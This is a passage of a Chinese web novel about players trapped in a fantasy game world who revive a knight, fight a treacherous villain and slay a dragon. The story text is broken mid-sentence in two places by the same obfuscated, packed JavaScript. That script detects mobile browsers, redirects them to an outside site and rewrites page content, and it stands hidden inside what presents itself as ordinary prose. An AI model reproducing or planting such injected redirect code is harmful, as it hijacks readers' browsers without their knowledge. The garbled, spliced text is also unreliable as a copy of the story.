如同病入膏肓到只剩下最后一口气的老头子被强行挠了胳肢窝,出气多进气少,让人很难不怀疑,这人会不会笑着笑着忽然把自己给笑没了。 闻声,胖子万分惊恐地回头,左右两边脸上各印了一个红彤彤的巴掌印,衬得其他地方的皮肤无比惨白,看起来像是纸扎小洋人。 只见一只苍白干燥的手从棺材里伸出,软趴趴地扒在棺材边缘,明显是有心无力。 季明轩忙把他扶起来。 “我、我这是……怎么了?” 在水晶棺里躺了一年,宋云泽的身体瘦削了不少,眼窝和脸颊都有不同程度的凹陷,整个人像是刚生了一场大病,一开口,连说话声音都无比虚弱,气若游丝。 “你刚差点儿憋死。”季明轩有力的臂膀给他当靠背,“但兄弟我又把你救活了,还不快说谢谢。” 虽然完全没搞清楚状况,但宋云泽还是听话地道了声谢,右手抚上咚咚跳动的心室,回想起了自己之前是怎么死的,心有余悸地皱起眉,问: “时准呢?他为什么要杀我?”他四下张望。 “这个就说来话长了。”季明轩把宋云泽拉起来,心里很是惊讶:他现在简直虚弱得过分,一摸一把骨头,这么脆,明天真的能把巨龙杀死吗? “我们先离开这里,路上我慢慢和你说。” . 城堡里百分之九十的盔甲士兵都被温初夏调了出去,整齐排列在主楼外的练兵场上,放眼望去密密麻麻一大片,蔚为壮观。 剩下的百分之十,则在四处寻找西奥多的下落。 上次从森林回到城堡,温初夏刚想找西奥多算账,就听到了他叛逃的消息。 时准让人把城堡地毯式搜索了个遍,还在皇城里张贴告示通缉,但都没有找到他的下落。 这人就像是人间蒸发了般,消失的无影无踪。 没有了吓人的盔甲士兵在身边来回巡逻,李书雪连推餐车的心情都美丽了许多,步子迈得又大又快,小推车里的食物种类繁多,分量惊人,能撑死一头牛。 到地方后,她先是敲了敲虚掩的房门,然后推门进去。 “事情的经过大概就是这样,你唯一的任务,就是明天把那头会喷火的巨龙杀死,然后整场游戏就此结束,我们就能回到正常世界了。你能理解吗?” 大脑一下子高强度灌输了太多要素,宋云泽努力消化了好一阵,才僵硬地点了下头,说:“理解,能理解——但我有一个问题。” 他瞟了一眼旁边正把吃的往桌上端的李书雪,又看回季明轩,迷茫中带着些离谱地问:“我要怎么样才能杀死一条龙?” 要知道他刚刚从棺材里躺了一年出来,连走路都不太利索,然后有人告诉他:明天早上天一亮,你就得去斩杀一头只有神话故事里才会出现的灭世猛兽。 这,任谁听了都会觉得魔幻吧。 宋云泽甚至开始怀疑自己是不是在做梦,并且是史无前例的超级大噩梦。 “别紧张,又不是让你单枪匹马硬上。”季明轩安慰地拍拍他的肩,“我们已经给你收集齐了全套装备,有盔甲、盾牌和宝剑,都是紫武级别的,不仅防火防盗防偷袭,而且还贼帅,你一定会喜欢的。” “还有,明天不止是你一个人在战斗,我们大家都会帮你的。大家都各有各的技能,比如温初夏能操控那一堆盔甲士兵,周雅宜成了大力士,到时候应该可以帮你把龙拖住,以及……” “嘭。” 李书雪把一盘煎得刚好的牛扒放在宋云泽面前,招呼道:“菜上齐了,赶紧吃吧,多补充点儿体力,不然我怕你明天连剑都举不起来。” 宋云泽看着满满一桌玲琅满目的饭菜,嘴角忍不住抽搐:“你这是在把我当猪喂吗?” “我有这么傻吗,你该不会以为这些全都是给你一个人准备的吧?”李书雪相当没好气,“是因为温初夏把自己锁在时准的寝宫里,我怎么敲她都不开门,所以只好把她的晚餐送来给你俩了,免得浪费嘛。” “你说她在哪儿?!”宋云泽站起来,看着李书雪,眼里明晃晃写着不敢置信。 “时、时准的寝宫啊……” 见他忽然激动起来,李书雪也吓了一跳,肩膀一耸,目光慢慢移动到旁边的季明轩身上,迟钝地问:“你没告诉他那俩的事儿啊?” 季明轩立刻小幅度摇头:我怎么告诉? 宋云泽就算再傻,也能读懂这俩在暗流涌动什么,更何况他很早以前就知道了,时准和温初夏的关系,远比他以为的要暧昧深刻得多。 宋云泽立刻踢开椅子,往门口走,沉声道:“我要去找她问清楚。” “欸欸!”李书雪忙拦住他,“你别去,去了也没用,她都没给我开门,肯定更不会给你开门——你别忘了,时准是因为要复活你才死的。” 一听这话,宋云泽直接气笑了,反问:“那请问我之前是被谁杀死的呢?” “……” 李书雪语塞。 “反正你不许去。”她表情紧绷,干巴巴道:“人家正伤心呢。” 宋云泽:“……” “你也会伤心的。” “……” “如果你非要去的话。” 夜晚。 宋云泽坐在陌生的床头,泛着冷冽银光的盔甲立在墙角,盾牌挂在盔甲的左手边,宝剑则孤零零地躺在地板上,没有了往日悬挂于壁龛中的威严华美。 房间是抽了真空一般的安静,思绪混乱如麻,宋云泽甚至能清楚地听到自己沉闷而杂乱的心跳,不可抑制地感到一阵慌乱,完全没有办法冷静下来。 他捏了捏鼻根,站起来,打算去隔壁找季明轩说说话,弄明白在自己死去的这段时间里,温初夏和时准之间到底发生了什么。 走廊没有点蜡烛,但好在今晚的月色格外皎洁,宋云泽踩着从斜窗漏进来的月光,走到季明轩的房间门口。 因为四周一片安静没人来往,所以他脚步下意识放得格外轻,鬼鬼祟祟的样子,不知道的还以为他是什么刺客或者小偷。 宋云泽举起手,正准备敲门,忽然察觉到背后有人在靠近。 他立刻转身,见来者是一位穿着深色长袍的神秘人,兜帽低至鼻梁中部,将上半张脸遮得严严实实,气质诡谲阴冷,一看就不是什么好人。 “你是……” 话还没说完,一道雪白的匕首猛地刺入喉咙,滚烫的鲜血喷溅而出。 屋内,季明轩正围着床焦躁地走来走去。 他也说不清自己究竟有什么好躁的,虽然这个副本的过程很困难很辛苦,但好在一切都有惊无险,只等明天熬过了九九八十一难的最后一关,他们就可以回到正常的世界,继续正常地生活了。 可为什么, 脑子里总是在反复放映下午温初夏痛哭的场景? 只要一想到挂在她腮畔的那一串串眼泪,季明轩的心脏就跟裹了十层保鲜膜一样,紧绷、闷痛、沉不下去又跳不起来,发苦发涩还发酸。 酸…… 他敏锐地捕捉到这个形容词,垂头叹了口气。 自己可不就是酸了吗。 酸时准居然能让温初夏伤心成那样。 她明明那么骄傲、那么耀眼、那么厉害,季明轩曾一度认为,温初夏是一个目下无尘的人,也不会爱上任何人。 如果她和谁走得近,或者对谁表示出好感,这并不代表喜欢,而是她无聊之余的施舍。 但直到今天,季明轩才知道,那双清冷疏离的眼睛,原来是可以装下人的。只不过那个人不是自己罢了。 想到这里,季明轩又叹了口气,忽然听到房间外传来一声轻微的动静,像是什么东西撞到了门上,忙过去察看。 “谁啊?大半夜来是有什……” 门打开,映入眼帘的是倒在血泊里的宋云泽。 季明轩呼吸凝固,瞳孔骤缩成一点。 …… 古堡被晨曦镀上金边,雕花铁门缓缓开启,车轮碾过碎石铺就的甬道,慢慢驶入神圣的礼堂。 当看清马车上拉的东西之后,两侧衣着华丽的贵族宾客们立即露出惊恐和疑惑的神色,捂着胸口抽吸着空气,离得近的甚至被吓得立马往旁边躲。 众人议论纷纷—— “哦我的上帝啊,就要举行婚礼仪式了,怎么会拉一具棺材进来?!” “这些士兵的胆子也太大了!” “以防我老眼昏花认错了人,米太太,请您替我确认一下,躺在棺材里的人,是我们最最敬爱的国王陛下吗?” “是、是……”头戴羽毛礼帽的胖太太站了起来,尖叫道:“国王陛下去世了!这是他的尸体!” “什么?!”端坐在前排的林茵陈闻声回头,扫了眼一片哗然的来宾,而后,仓皇的视线落在了夹道中央的水晶棺椁。 看清楚里面的人安静的侧脸之后,林茵陈只觉得世界就此崩塌,受不了打击的她两眼一翻,晕了过去,被躲在暗处观察的温初夏眼疾手快地扶住。 她让两名盔甲士兵把林茵陈带去安全的地方,目送对方离开时,没忍住小声嘀咕了句:“儿子挂了才知道伤心,早干嘛去了。” 今天的温初夏没有穿婚纱,而是身着一套利索轻便的裤装,长发扎成侧麻花辫,发尾垂在腰际,边绕过兵荒马乱的人群往礼堂外走,边问周雅宜: “最后一节诗出现了吗?关于红玫瑰的。” 周雅宜怀里抱着从藏书阁拿来的古籍,摇摇头:“没有,还是之前那几段。” “那不对啊。按理来说,昨天下午红玫瑰长出来的那一瞬间,最后一节诗就应该出现的啊。” 走出礼堂,温初夏仰头看向天空,今天是个万里无云阳光明媚的晴朗好天气,可她的心情却一点儿也明媚不起来。 如果预言诗不完整,那这个副本的任务完成度可能也会打折扣。她不得不为此感到担心。 “会不会是我们的红玫瑰有问题啊?”周雅宜拧眉猜测,“因为它不是由诗里提到的白鸽叼来的?” “肯定不是这个原因。”虽然有些心神不定,但温初夏的智商没有拉跨,“既然宋云泽成功复活了,那就说明红玫瑰没有问题,副本是认可的。” 周雅宜:“那最后一节诗怎么会不出现呢?” “对啊,怎么会呢……”温初夏焦虑地挠了挠头,向她伸出手,“你把书给我看看。” 闻言,周雅宜先是很贴心地把书翻到相应的位置,然后再递到她手里。 炙热的骄阳将最后一丝云絮烤化,接近正午的阳光灿烂到有些刺目,温初夏微眯起双眼,低着头,指尖一行行抚过被染成烫金色的诗节。 【白玫瑰在高塔的窗台飘曳, 它的刺太柔软,无法染红自己, 它的花瓣苍白,却替代不了月光, 风掠过,弱小的花枝摇摇晃晃。 它问:为什么我的颜色无人看见? 黄玫瑰在礼拜堂墙角的阴影绽放。 它的花香带着青涩的酸楚, 它的色彩渗透无奈的哀伤, 雷雨惊梦,蕊间流转的是雨,也是泪。 它问:为什么我连芬芳都是苦涩? 蝴蝶何时才能冲破以爱为名的画框? 阁楼的公主日夜盼望。 白鸽衔来希望的春枝, 既是生命,也是死亡。 待巨龙再次咆哮时, 英勇的骑士能否将它斩于剑下? 否则—— 太阳终究落于深山, 月亮永囚黑夜之牢。】 因为BOSS不同,这首预言诗和温初夏上一次走这个副本时的略微有一些出入,但总体内容是一致的。 虽然上次的她没有走到大结局,但就在几天前,温初夏在守护者论坛捞到了通关这个副本的人,对方非常笃定地告诉她,预言诗一共有4段,最后一段是关于红玫瑰的。 “奇了怪了。”她百思不得其解,恨不得把脸埋进散发着腐旧气息的书页里,“到底是哪儿没做到位……” 忽然,滑动的指尖停住。 温初夏把古籍拿远一点,在阳光下不断变换角度,认真观摩。 “怎么了?”周雅宜看着她,“你是发现了什么吗?” “嗯?”温初夏表情有些严肃,招呼道:“你过来看看,这一行字的颜色是不是和其他行不一样?” 周雅宜脑袋凑过去,将她指的那行小声念出来:“‘蝴蝶何时才能冲破以爱为名的画框’……好像是欸,这行字的颜色要浅一些。” “那问题大概就出在这儿了!” 守得云开见月明不到一秒,转而温初夏又迷茫了回去,“但我们不是把城堡里所有的蝴蝶标本都放生了吗?正正好一百个。” “是啊,我们找到的城堡构造图里也只标记了一百个蝴蝶标本的位置。” 刚有一点眉目就又卡住,周雅宜焦虑地直扣手,目光无意识地落在“以爱为名”四个字上,直到指甲快要 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15696740|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掰断了,脑子里突然灵光一闪—— “我感觉这个描述有点问题。” “什么?” 周雅宜不再扣手了,而是一脸认真道:“为什么要用‘以爱为名’来形容画框?会不会是这句诗用了比喻的修辞手法,蝴蝶不是真正的蝴蝶,画框也不是真正的画框,而是指……囚禁?” 温初夏沉默地和周雅宜对视两秒,觉得她说的,好像很有道理。 因为下一句诗就是:阁楼的公主日夜盼望。 自己不就和画框里的蝴蝶一样,被时准以爱的理由囚禁起来吗。 温初夏哭笑不得:“可我现在是自由身啊。” 相当于已经被‘放生’了的‘蝴蝶’。 完了,又堵住了。 周雅宜有些想吐血,恨不得抱头尖叫。 她深吸一口气,强迫自己冷静下来,不要放弃继续思考:“那,会不会是范围的原因呢?” 周雅宜:“这个副本的所有事情都发生在城堡里,是不是只有你离开城堡,才算得上是‘挣脱画框’?” 这个说法虽然有些牵强,但,并不是全无道理。 温初夏拿出怀表看了眼时间,离巨龙苏醒还有一个多小时,时间还算充裕,所以她打算出城堡试试。 两分钟后,温初夏坐在马鞍上,怕弄丢古籍所以塞进了衬衣里,贴身放着,回头对周雅宜说:“如果不行的话,我会立刻回来的。” “好,那我就在这里等你。” “不用。”身下的枣红色俊马跺了跺蹄子,温初夏勒紧缰绳,让它消停点儿,说: “你去宋云泽那儿看看吧,一会儿就要上战场了,我怕他紧张,你帮我给他带句话,就说我们大家都会帮着他一起砍龙的,让他别有太大压力,全当是玩一场真人实景游戏。” 周雅宜点头:“好。” “驾!”一声轻喝,马蹄破开草丛,向城堡大门跑去。 一出大门,温初夏就勒紧缰绳,翻身下马,把怀里的古籍掏出来一看—— 没有任何变化。 说明自己不是“蝴蝶”之一。 温初夏泄气地踢了一脚城墙,转身,却看见了一个老朋友。 “李确?”她惊喜地迎上去,“你怎么来了?!” 李确从马背下来,指指太阳穴,笑着说:“我的第六感告诉我,你们可能需要我的帮助,所以就来了。” “那你真是来得太巧了!” 温初夏快步走到他身边,把那一句预言诗指给他看,“你赶紧再用你的第六感帮我感应一下,这句诗里的‘蝴蝶’,到底指的是什么啊?我和周雅宜一开始都以为是我,但刚才出了城堡才发现,不是。” 李确开始思索。 片刻后,他在温初夏期待的目光下轻折起眉心,道:“我没法直接感应到这个人是谁……” 啊?不行吗? 温初夏一颗提到嗓子眼的心,又沉了下去。 没想到李确下一句就是:“但我能感觉到,他的童年大概过得很惨,和上文的白玫瑰一样,默默无闻,不受父母的待见。而长大之后,也很惨,和上面的黄玫瑰一样,经常伤感,爱情受挫,觉得命运对他太不公平。” 温初夏:“……” 你要不干脆报时准身份证得了。 “得,我知道他是谁了。”温初夏松了口气,踩着脚镫重新上马,对李确说:“一会儿城堡会变得非常危险,你赶紧回去吧,最好躲远一点。” “不,我和你一起去。”李确也骑上他的白马,“因为我忽然有种不好的预感……” 话音未落,从城堡深处传来一声嘹亮的龙吟。 温初夏神色一凛:那条龙怎么这么早就出来了?!不是还有一个多小时才到时间吗! “那就快走。”她满脸大敌当前的肃然,“我们得抢在礼堂被砸之前把时准带出来。” 正午灿烂的阳光,在顷刻间便被铅灰色乌云所覆盖。 两人策马赶去礼堂时,温初夏只需微微仰起头,就能看见那条浑身被漆黑鳞片覆盖的巨龙,盘旋在城堡上方的低空,翼展足足有两座城楼相连般宽阔。 它每一次扇动都掀起一阵飓风,嘴里不断吐出火焰,点燃树木草坪,烧毁楼宇房屋,人类的惊呼和尖叫声不绝于耳。 温初夏用目光搜寻了片刻,没发现宋云泽的身影,但她并未过于担心,可能对方目前只是身处在自己看不见的地方。 火急火燎地推开礼堂大门,温初夏正要大步冲进去,身旁的李确忽然用力拉了她一把,将她扯到门边,同时提醒道:“小心!” 只见一团墨绿色的不明气体从门内喷涌而出,温初夏忙捂住口鼻,等绿气消散了再探头望向里面,看到了一个让她恨得牙痒痒的身影。 “哎呀,这可是我炼制的最后一滴魔药。”西奥丢掉已经完全倒空的小玻璃瓶,拍了拍手,故作惋惜道:“没想到居然没能放倒你,可惜了好东西。” “我也没想到。”温初夏握紧拳,脸色阴冷,“你居然还敢出现在我面前。” “我之前不是说过吗。”西奥多微微一笑,“我会用生命来阻止你通关这个副本。” “真的吗?”拳头松开,温初夏冷嘲道:“那你的生命好没用哦,因为我们已经把骑士复活了。现在,你可以选选,一会儿到底想怎么死。” 说着,她暗中操控在旁边看守的盔甲士兵,结果却发现使唤不动。 一根弦在脑海中断裂,温初夏表情微变,心道:怎么回事?复刻的时间还不到24小时啊,技能怎么会失效呢? “哈哈哈哈!”西奥多忽然仰天大笑起来。 他笑得站不稳,扶住旁边的柱子,说:“纪琳,你太自信了。” 听到这个完全陌生的称呼,李确下意识看向身边人,问:“你什么时候改名字了???” 温初夏脸色很差,低声道:“没改,不用在意,他是个精神病。” 两人说悄悄话间,西奥多已经从袖口里拿出一把短小精悍的匕首,取下刀鞘,白刃上凝结着几道深红的血痕。 见此,李确立刻变出一副弓箭来,上弦拉弓,对准西奥多的眉心,目光狠厉地警告他:“别动!不然我一箭射穿你的脑袋。” 西奥多完全无视李确,垂眸把玩着手里带血的匕首,只专心对温初夏一人说着话:“你猜,我昨天晚上用这把刀,杀死过谁呢?” “谁?”温初夏背冒冷汗。 “我话都说到这份儿上了,你难道会猜不出来?我知道,你只是不愿接受这个残酷现实而已。”西奥多笑得更加开怀。 “纪琳,你说你当初何必这么坑我呢。费了这么大功夫,就为了和这种毛头小子谈恋爱?我昨晚杀他的时候,只用了一只手。” 他做了个戳刺的动作,灰色眼睛里闪动着野兽的光芒,语气无比傲慢: “他连叫都没叫一声,直接就倒地上了,简直比羊圈里的小羊犊还好宰。” “你杀了他?!!”温初夏失声。 “当然。”西奥多颇为自豪,“我说过,我要让你永远留在这里。” 说完这句后,他脸上虚伪的笑容彻底消失,吩咐渐渐向对面二人逼近的盔甲士兵: “男的杀了,女的留下。” 51. 第 51 章 李确立刻松手,羽箭离弦,却在半途中被一段坚硬的臂胄拦截住,掉落在地。 而臂胄的关节处,正渗出一道墨绿色的粘稠液体。 温初夏这才明白,原来自己的技能根本就没有失效,而是这些盔甲士兵都被西奥多控制了,得立刻去找其余没有被控制的当援军才行。 她拉起李确,转身就跑。 可礼堂的雕花大门却在他们即将冲出去的前一秒,重重合上。 西奥多冰冷的声音在身后响起:“纪琳,你逃不掉的。” “逃不掉……哼。” 温初夏慢慢回过头,忽然一把抢过李确手里的弓和箭,动作快到连别人还没反应过来她要干什么,一支利箭便已经刺破空气,闻声出动—— “那就先把你弄死再说!” 原本圣洁温馨的婚礼现场,在短短十分钟内,变成了凌乱的废墟,桌椅掀翻,绸缎撕破,到处都是一片狼藉,到最后,连落脚的地方都快没有了。 温初夏和李确的战斗力都不错,但奈何受西奥多控制的盔甲士兵数量太多,和一年前的舞会大逃杀相比,有过之而无不及,所以他们打得很吃力。 羽箭全部用完之后,李确给温初夏递去了弹珠和弹弓,弹珠又用完后,直接金币续上。 虽然攻击力小点儿,但好在量大管饱,有一万多枚,竖着捏住,拉弓时力气大些,效果不比弹珠差。 相比于温初夏,李确自己用的武器则还要更加五花八门、奇形怪状,库存里有什么他就用什么,操作也相当清奇,包括但不限于: 从天而降一艘木船或马车,压扁一帮盔甲士兵; 用船桨掀翻士兵的头盔,浆断了就换铁锹; 把面包塞进空壳里,让它们失去行动能力; 点燃火车扔进头盔,把里面的扑克牌烧没…… 两人的分工相当明确,李确主要解决蜂拥上来的盔甲士兵,温初夏则在他的掩护下,目标直指躲在盔甲士兵后的西奥多。 虽然很遗憾没能用箭把他射死,但越到后期,盔甲士兵越少,温初夏就越容易攻击中他。 西奥多早已没了一开始的体面尊贵,左大腿中了一箭,被滔滔不绝的金币打得鼻青脸肿,眼睛一边大一边小,门牙也断了一颗,满嘴鲜血,样子滑稽极了,也丑陋极了。 “啊!” 西奥多发出一声惨叫,因为他的右眼眼球被打爆了,痛苦地捂住半边脸,停在原地无法动弹。 趁他病,要他命。 温初夏神经紧绷到极致,再次把手伸进系在腰侧的布袋,没想到却摸了个空,她立刻扬声喊道:“李确!” 不到两秒,重新填满金币的袋子扔了过来。温初夏一手接住,掏出一枚金币,隔着皮兜捏紧,闭眼瞄准时,竟发现找不到对方的踪迹。 这个狗日的,躲到哪里去了? 深黄色的皮筋被拉扯到至极,温初夏有信心,只要一发现西奥多,她就能瞬间击爆他的另一颗眼睛,让他变成一个瞎子,到时候,收拾起来就容易多了。 可他人呢???! 温初夏慢慢后退,和李确背靠背,一边继续攻击为数不多的几个盔甲士兵,一边目光尽力搜寻着西奥多的身影。 礼堂变成了废墟,能躲藏的地方不少,比如花坛后、马车里、木船后、水晶吊灯上…… 温初夏一一找过,但都没有。 直到最后一位流着墨绿色粘液的盔甲士兵被他们击溃,空壳子里的扑克牌撕碎,彻底没了还手之力,也还是没能找到西奥多的踪影。 忽然,头顶传来一声巨响。 温初夏和李确同时抬头,看见一个人从天而降,砸破了天花板的拱形玻璃,摔进礼堂正中心高高堆起的盔甲堆里,叮叮哐哐的声音跟放鞭炮似的。 通过露出的衣裙边角,温初夏认出了对方是谁。 “周雅宜!”她忙放下弹弓,迈开步子,“你还好吧?” 身边的李确一听这个名字,立马冲到温初夏前面,抢在她之前把周雅宜从小山一般的破铜烂铁里拉了出来,眼中流露出惊喜,但更多的却是担忧,多得快要溢出来了。 “你为什么会从上面摔下来?吓死我了。怎么样,有没有哪里受伤?胳膊腿骨折没有?头晕不晕?有没有脑震荡?”李确握住周雅宜的胳膊,紧张兮兮,“要不要我扶你去凳子上坐……” 话还没说完,周雅宜就用力抱住了他。 她垫着脚尖,仰着头,把下巴放在他的肩膀上,泪水像断线的珍珠一样落了下来。 “怎么了?”李确轻搂住她的后背,不敢用力,小声问:“是身体哪里痛吗?” “没、没有,我皮厚得很,摔不坏的……”周雅宜喜极而泣,“我就是看到你太高兴了。你怎么也来了?这里怎么会变成这样?你们刚才在打架吗?” 温初夏自动退后到离小情侣五米开外的安全距离,否则要被他们身上散发出的爱情圣光虐得体无完肤。 “说来话长。”李确拉开周雅宜,两手握住她的胳膊,“你先告诉我,你怎么会从天而降?是在和谁打架吗?” “是啊,和龙打。”周雅宜抬手抹了下眼泪,又可怜又好笑,“它一尾巴把我扫到这儿来了,简直难搞死了!” 李确见状,立刻变出一条手帕来,帮她把哭花的小脸认真擦干。 虽然知道自己现在是个特大号电灯泡,但温初夏还是忍不住插话:“不用再打了。” “啊?”周雅宜泪眼朦胧地看向她,“为什么啊?预言诗里不是说的要把那条龙砍死才行吗。” 温初夏:“因为宋云泽昨天晚上死了。” ? 周雅宜表情瞬间变成一片空白。 她看了看李确,又看回温初夏,忽然语出惊人道: “他没死啊,我刚刚还和他一起砍龙呢。” “什么??!” 这消息实在太惊喜、太出乎意料,温初夏一时间没站稳,单手撑在碎了老大一块的花坛的边缘,眼睛瞪得老大:“他没死?他真的没死?!!” 温初夏感觉自己就像是一条搁浅的鱼,在岸上大口呼吸,但毫无卵用。 正当她以为自己这回绝对逃脱不了死亡的命运时,忽然来了一个神来之手,把她从岸边又丢回水里。 周雅宜无比笃定:“当然。” 我嘞个超绝大!喘!气!啊! 温初夏捂住过于澎湃的胸口,剧烈跳动的心脏甚至有些疼痛。她就说,就说老天不会一直逮着她一个人虐的!“山重水复疑无路”之后肯定就是“柳暗花明又一村”啊! 古人诚不欺我! 她刚才怎么就信了西奥多的鬼话。 好了,这个贱人又罪加一等,不把满清十大酷刑都给他上一遍,难解温初夏心头之恨。 但不是现在,因为终局任务还没有完成。 三人合力把时准的水晶棺放到板车上,但其实这点儿重量,周雅宜单手就能扛动,但三个人比较好稳当,不会颠到棺材里的人。 又把板车套在马身上后,温初夏带着古籍,翻身上马。 她正想交代面前这俩手牵着手,危机关头还不忘谈恋爱的小情侣几句话,让他们别光顾着谈情说爱,赶紧帮宋云泽砍龙去,自己一送完时准出去,就会立刻回来帮忙。 谁知还未开口,后面的盔甲堆忽然动了。 “小心!!!”温初夏大吼,目光汇成一点。 时间仿佛在此刻放缓,一切都好似慢动作。 她眼睁睁看着满脸鲜血的西奥多从那一堆破铜烂铁里冲出来,右手高举着匕首,面目狰狞地刺向李确后背,心急如焚但无可奈何。 这把短刃看似不起眼,还有些脏,却异常锋利,毫无阻力地没入少年修长挺拔的身体,刃尖贯穿至前胸,涌出的鲜血迅速将浅色上衣染红。 周雅宜一开始不明白温初夏为何要叫他们小心,顺着她僵直的视线看向身边人,目光被血红色刺痛,立刻发出一声惨叫:“啊!你怎么……” 看清握着刀柄的人是谁后,都不用温初夏提醒,用尽全身力气,一脚将西奥多踢飞到十米之外的墙上,动静大到连天花板的水晶吊灯都差点掉下来。 尽管温初夏恨不得立刻下马,把西奥多的每一根骨头都碾碎,但一想到还有正事要办,就深吸一口气,忍住了。 她两手握紧缰绳,咬牙切齿地对周雅宜道:“剩下交给你了,别对他手下留情,弄死也没关系。他欠我们很多条命。” 周雅宜扶着伤口不断往外渗血的李确,猩红狠厉的双目深深看了温初夏一眼,点头道:“好。你去吧,这里有我。” 敢伤李确,她要把他大卸八块。 刚才那一脚直接把西奥多踹懵了,趴在冰冷坚硬的大理石地板上,半天爬不起来。 他没想到,这么个看起来娇滴滴的小姑娘,力气居然如此之大,让他头破血流不说,肋骨还断了好几根,不行,得赶紧去开痛觉屏蔽。 然而还没等他调出系统,就被一只瘦弱的手抓住后颈。 下一秒,西奥多整个人被提了起来,以膝盖跪地的姿势。 他睁着仅剩的一只眼,布满血丝的眼球里满是惊恐,抽气道:“等、等等,这位美女,能不能给我两秒钟,就两秒,我想要……”开个屏蔽。 但拒绝他的是一记能把大象掀飞的右勾拳。 咔哒。 西奥多清楚地听到了半侧牙齿在口腔里断裂的声音,大脑被剧烈的疼痛完全占据,他甚至忘了自己身处何方,要干什么,除了痛感之外,就只剩下恐惧。 周雅宜气疯了,向来胆小如鼠不敢见血的她,此刻却像是觉醒了暴力基因,把西奥多当破麻袋一样肆意摔打,哪怕他晕死过去都没有停下,直到一旁传来李确微弱的呼唤: “雅宜,别打了……” 周雅宜忙回头,松开西奥多软趴趴的身体——或者是尸体也未可知,她没试过鼻息,但从外观上看,对方已经和死人没有任何区别了。 “你怎么了?” 周雅宜来到李确身边,两手在衣服上擦了擦,小心翼翼地让他躺在自己怀里,看到他苍白如纸的脸色,和被鲜血浸透的衣服,眼泪吧嗒掉了下来,问:“是不是很痛啊?” “不痛……你别哭……” “怎么可能不痛啊!”周雅宜泪掉得愈凶,低着头,肩膀颤抖,“为什么又是这样,我又只能眼睁睁地看着你死,一点办法也没有……” 李确嘴角努力挤出一个笑来,虽然很微弱。 “没关系的。”他气若游丝道,“反正这场游戏就要结束了。我有样东西,想送给你。”说着,他手伸进裤子口袋,拿出了一朵有些被压扁的不知名小野花,花瓣是白色的。 周雅宜抬起头,目光呆呆地看着他手里的花,迟钝地想起了什么。 “一年前从城堡离开时,我答应过你,下次见面,一定会送你一朵漂亮的、白色的花。因为你之前说过,你最喜欢白色的花,不论什么品种的都喜欢。” “这一年来,我一边赶路,一边留意周围有没有漂亮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15703397|170387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 白花,如果有,就一定要摘下一朵来,想着万一能提前见到你的话,就不至于一点准备也没有。” “我摘过好多白色的花,山茶、绣球、杜鹃、铃兰、百合、茉莉……摘了又谢,谢了又摘。前些天,我在森林里遇见了一朵很漂亮的玉兰,可惜今早一看,也枯萎了。” “来城堡的路上,我只遇到了这一朵白色的花。反复准备了快一年,没想到最后送给你的花居然这么难看,对不起啊……” “哪、哪有,明明就很好看啊。只要是你送的,我都喜欢。”周雅宜有些泣不成声,沉默片刻后,红着耳朵坦白: “而且我当时就是随口一说。”她手背抹掉下巴悬挂的泪水,声音很低,但李确听得十分清楚,“不然我不好意思收那朵白玫瑰花,不好意思当你的舞伴。” 李确闭上眼,无声地笑了笑,道: “温初夏曾经告诉我说,等这个副本结束之后,我们所有人都会忘记在这个世界发生过的一切,就像是做了一场离奇的噩梦,醒来之后,梦里的一切都和现实生活毫无瓜葛。” “这本来该是一个好消息,但我听了,却一点儿也高兴不起来。”他看着泪流满面的女孩,轻声说: “因为我,不想忘记。” “驾!” 马蹄之下尘土飞扬,温初夏晃动缰绳,面色紧绷,心里不断催促着:快点,再快点。 前面的城门楼就要被龙尾巴给扫塌了! 车轮碾过一段崎岖不平的石子路,她不放心地回头,看了眼板车上的水晶棺,还好,没掉下去。 棺中人恬静柔和的面庞如同天降甘霖,给予她莫大的安慰,将心里燃烧的火焰浇灭大半,但她还是很急。 目光上移,一个亮银色的身影出现在主楼楼顶,周围的几栋楼宇倒的倒,烧的烧,原本宏伟大气的城堡,在短短不到一个小时内,变成了火海废墟,人间炼狱。 巨龙也注意到了那个身影,立刻扇动翅膀,庞大的身躯飞去楼顶边缘,它浑身上下的漆黑鳞片剥落了不少,尤其是颈部。 两边翅膀也有许多大大小小的伤痕,伤口处流出黑血,血红色的瞳孔竖成一条直线,显然是处于暴怒状态。 “宋云泽可以啊……”温初夏挪不开眼,惊呆了,“单枪匹马就把巨龙伤成了这样,一会儿是不是都不需要我帮忙了?” 简直比她预想中的强太多了。 难道这就是传说中的男主光环吗?哪怕在冷冰冰的棺材里躺了一年刚醒来,战斗力也能这么爆表??? 那自己身为女主,为什么除了一个半残的右脚之外,啥都没有呢!不公平啊不公平。 话音刚落,宝剑割掉了一截舌头,巨龙吃痛,发出一声震耳欲聋的怒吼,声音响彻城堡上空。 它愤怒地扭动着身躯,张开血盆大口,想要把骑士咬死,但对方却瞅准时机,高高跃起,将手中宝剑高举过头顶,用尽全身力气,朝巨龙的颈部斩去。 接下来的景象让温初夏倒抽一口冷气—— 巨龙丑陋的脑袋被齐根斩下,轰然倒地,但身体的反应却慢了一步,翅膀继续扑腾了好几下,然后才坠落下去,带来的震感堪比6级地震,溅起的尘土堪比小型沙尘暴。 温初夏立刻单手捂住口鼻,闭上眼睛,等空气里的土腥味减淡后,才敢稍微睁开一点。 